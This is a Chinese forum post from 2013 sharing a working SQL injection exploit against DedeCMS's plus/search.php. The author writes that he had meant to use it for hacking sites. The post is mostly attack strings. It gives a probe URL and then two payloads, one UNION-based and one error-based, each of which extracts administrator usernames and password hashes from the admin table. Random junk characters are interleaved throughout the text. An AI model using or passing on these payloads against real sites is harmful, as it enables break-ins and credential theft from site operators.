转载不加作者名的没JJ) |; E C W2 s" [( M
1 k: ^8 J" [4 @' o O
哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。' z- B$ t9 F; V' J2 V; V
( [8 r: V. x/ [. E' g- P既然已经发出来了，我就把我自己搞的exp发下吧。。唉。8 x9 _0 B: k2 I2 W, X
; Y" s! X8 f9 i) [! c我一般是这样测试的： p" B0 A: g# ? `
1 X2 c9 Q# O2 I2 j# w8 ?提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
) G6 q/ A* c- ~& i% S2 u Z8 q6 u3 n" q1 n# x3 K. Z
转载不加作者名的没JJ% _7 Z" m9 J/ ~
X/ |: i0 g) N3 y5 w4 X5 g) [作者：鬼哥
: H3 x; s' k' P# A( D" P; F% }2 k! _) c2 M8 `! m0 V
& b0 f, ^! d( b, J
- v- F5 m( Y+ y6 v4 |3 [
看结果如果提示. W$ d5 K' z! ^9 F
$ r! K; w( y- p4 r& _" z' tSafe Alert: Request Error step 2 !2 u& X' W6 ^3 H7 s
- K/ a! o) T0 W' J! F3 B* k那么直接用下面的exp h: o/ ?- n; O) o% g5 m
( l' p: ]3 C4 b( u/ D3 cxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a* R1 e3 R& c: o" @
6 g V+ h! v1 ?9 A* }$ b+ d; R
' O% f/ y' ?" V5 o7 G. W5 P, {看结果如果提示9 A3 Z1 {2 f) R8 x+ W) U+ o3 ]
8 o* q0 Q" f( G9 I B
Safe Alert: Request Error step 1 !- }# I/ F. Z Q: n% Y. ~
' Q2 n# w+ I1 B4 l1 K
那么直接用下面的exp5 g: R/ w- C* r; \) h- H' l# X
; Z# y! g; Q. D0 }* _xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a6 L5 a& C7 c: R9 J+ P6 d* _
' U* L5 ~9 u2 p/ b# L% D9 A) R0 ]# T# Y- C) J7 a8 a. V( G+ E0 Z( J9 y, A
如果正常显示证明漏洞不存在了。0 C# E* j1 G. Y$ F. f0 D2 S
* g/ F& I2 d: R
转载不加作者名的没JJ |
发表于 2013-1-21 08:45:22
收藏
支持
反对